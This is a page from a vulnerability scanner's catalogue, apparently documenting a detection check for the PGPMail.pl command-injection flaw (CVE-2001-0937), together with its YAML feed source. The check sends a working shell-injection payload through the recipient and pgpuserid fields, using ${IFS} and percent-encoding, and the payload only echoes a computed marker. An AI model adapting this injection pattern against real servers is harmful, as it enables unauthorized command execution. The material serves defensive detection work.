Pgpmail — 1 vulnerability check

noctis ships 1 vulnerability check for Pgpmail, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PGPMail.pl recipient / pgpuserid Command Execution

CVECVE-2001-0937
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/pgpmail/CVE-2001-0937.yaml

Detects unauthenticated command execution in the PGPMail.pl form-to-mail CGI (CVE-2001-0937, version 1.31 and earlier). The script passes its recipient and pgpuserid form fields unfiltered to /bin/sh when it starts sendmail and pgp, so shell metacharacters in either field run commands as the web server user. The feed requests PGPMail.pl under /cgi-bin, /scripts, /cgi-local, /cgi and the web root with both fields set to a payload that silences the vendor command, prints a CGI header of its own and then echoes NOCTIS followed by the result of `expr a - b` (per-run random numbers). It reports only when the reply contains that computed difference, which only real shell execution can produce, and names the field that ran it. Nothing is read or written on the target; on a fixed installation the form may still send one notification mail.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/PGPMail.pl?recipient=%3E/dev/null%3Becho%24%7BIFS%7DContent-Type:%24%7BIFS%7D…
  3. Checks inj.banner for NOCTIS → finding QoD 97: PGPMail.pl command execution confirmed via the recipient field (GET …/PGPMail.pl?recipient=>/dev/null;echo ...;echo NOCTIS`expr … - …`R): t…
  4. Checks inj.banner for NOCTIS → finding QoD 97: PGPMail.pl command execution confirmed via the pgpuserid field (GET …/PGPMail.pl?pgpuserid=x">/dev/null;echo ...;echo NOCTIS`expr … - …`P;"…

References:

Feed source — tests/vulnerabilities/pgpmail/CVE-2001-0937.yaml
# PGPMail.pl recipient / pgpuserid command execution (CVE-2001-0937)
#
# Credit: target script adapted from Greenbone's `pre2008/pgpmail.nasl`
# (GPL-2.0-only), which only reports that "PGPMail.pl" answers under a CGI
# directory (http_is_cgi_installed_ka) — no exploitation.
# Advisory: Joe Testa, BugTraq 2001-11-29 (bugtraq id 23335 on the MIT mirror,
# securityfocus archive/82/243262). PGPMail.pl 1.31 (William Malin) is Matt
# Wright's FormMail 1.5 extended with PGP encryption; it builds two write pipes
# from unfiltered form fields:
#   open (MAIL, "|$mailprog $CONFIG{'recipient'}")
#   open (PGP, "|$pgpprog -fea +VERBOSE=0 \"$CONFIG{'pgpuserid'}\" > $pgptmp")
# The form is read from QUERY_STRING (GET) or STDIN (POST), split on `&` and
# URL-decoded; the HTTP_REFERER check passes when no Referer is sent.
#
# The shell's stdout is the CGI's stdout, so an injected command's output
# reaches the web server BEFORE the script's own "Content-type" header. Apache
# rejects a CGI whose first output line is not a header (500, output lost), and
# sendmail run without a recipient / pgp in filter mode print to stdout too. So
# each payload first silences the vendor command (`>/dev/null`), then prints a
# header block of its own, then the proof:
#   recipient=>/dev/null;echo Content-Type: text/plain;echo;echo NOCTIS`expr a - b`R
#   pgpuserid=x">/dev/null;echo Content-Type: text/plain;echo;echo NOCTIS`expr a - b`P;"
# (spaces written as ${IFS}; a = 7-digit, b = 6-digit per-run random ints).
# The difference never appears in the request, so the thank-you page that
# reflects the recipient cannot produce it; R / P tell which sink ran.
# sendmail gets no recipient (it exits at once — no mail is sent through the
# recipient sink).
#
# Better than the reference check: real command execution is proven (inert
# computed marker) instead of the script's mere presence, which also covered
# installations fixed with the advisory patch (sendmail -t + pgpuserid filter).
uid: d2fd00bb-9c25-4367-be48-e145e678cb18
name: "PGPMail.pl recipient / pgpuserid Command Execution (CVE-2001-0937)"
description: |
  Detects unauthenticated command execution in the PGPMail.pl form-to-mail CGI
  (CVE-2001-0937, version 1.31 and earlier). The script passes its recipient and
  pgpuserid form fields unfiltered to /bin/sh when it starts sendmail and pgp, so
  shell metacharacters in either field run commands as the web server user. The
  feed requests PGPMail.pl under /cgi-bin, /scripts, /cgi-local, /cgi and the web
  root with both fields set to a payload that silences the vendor command, prints
  a CGI header of its own and then echoes NOCTIS followed by the result of
  `expr a - b` (per-run random numbers). It reports only when the reply contains
  that computed difference, which only real shell execution can produce, and
  names the field that ran it. Nothing is read or written on the target; on a
  fixed installation the form may still send one notification mail.
cves: [CVE-2001-0937]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [pgpmail, formmail, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0937"
  - "http://marc.info/?l=bugtraq&m=100714269114686&w=2"
  - "http://www.securityfocus.com/archive/82/243262"

steps:
  # a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(5000000, 9999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, diff: "" + (a - b) }
    store_as: ov

  # ── Per location (CGI dirs + the web root): this step and every following one ──
  # Pre-initialised so a failed request leaves no undefined variable behind.
  - id: init
    action: set_var
    var_name: inj
    var_value: {connected: false, banner: null}
    loop:
      over:
        - "/cgi-bin"
        - "/scripts"
        - "/cgi-local"
        - "/cgi"
        - ""
      var: dir

  # Raw request: no Referer (the FormMail referer check then passes). Every
  # shell metacharacter is percent-encoded (%24%7BIFS%7D = ${IFS}, %60 = `,
  # %3B = ;, %3E = >, %22 = ") so strict front ends accept the request line;
  # the script's FormMail parser decodes them before the open().
  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/PGPMail.pl?recipient=%3E/dev/null%3Becho%24%7BIFS%7DContent-Type:%24%7BIFS%7Dtext/plain%3Becho%3Becho%24%7BIFS%7DNOCTIS%60expr%24%7BIFS%7D{{ov.a}}%24%7BIFS%7D-%24%7BIFS%7D{{ov.b}}%60R&pgpuserid=x%22%3E/dev/null%3Becho%24%7BIFS%7DContent-Type:%24%7BIFS%7Dtext/plain%3Becho%3Becho%24%7BIFS%7DNOCTIS%60expr%24%7BIFS%7D{{ov.a}}%24%7BIFS%7D-%24%7BIFS%7D{{ov.b}}%60P%3B%22 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: inj

  - id: confirm-recipient
    action: match
    source: inj.banner
    pattern: "NOCTIS"
    condition: "type_of(inj.banner) == \"string\" && stridx(inj.banner, \"NOCTIS\" + ov.diff + \"R\") >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "PGPMail.pl command execution confirmed via the recipient field (GET {{dir}}/PGPMail.pl?recipient=>/dev/null;echo ...;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`R): the shell printed NOCTIS{{ov.diff}}R (a difference absent from the request) in the reply"
      stop: true

  - id: confirm-pgpuserid
    action: match
    source: inj.banner
    pattern: "NOCTIS"
    condition: "type_of(inj.banner) == \"string\" && stridx(inj.banner, \"NOCTIS\" + ov.diff + \"P\") >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "PGPMail.pl command execution confirmed via the pgpuserid field (GET {{dir}}/PGPMail.pl?pgpuserid=x\">/dev/null;echo ...;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`P;\"): the shell printed NOCTIS{{ov.diff}}P (a difference absent from the request) in the reply"
      stop: true

View these feeds on GitHub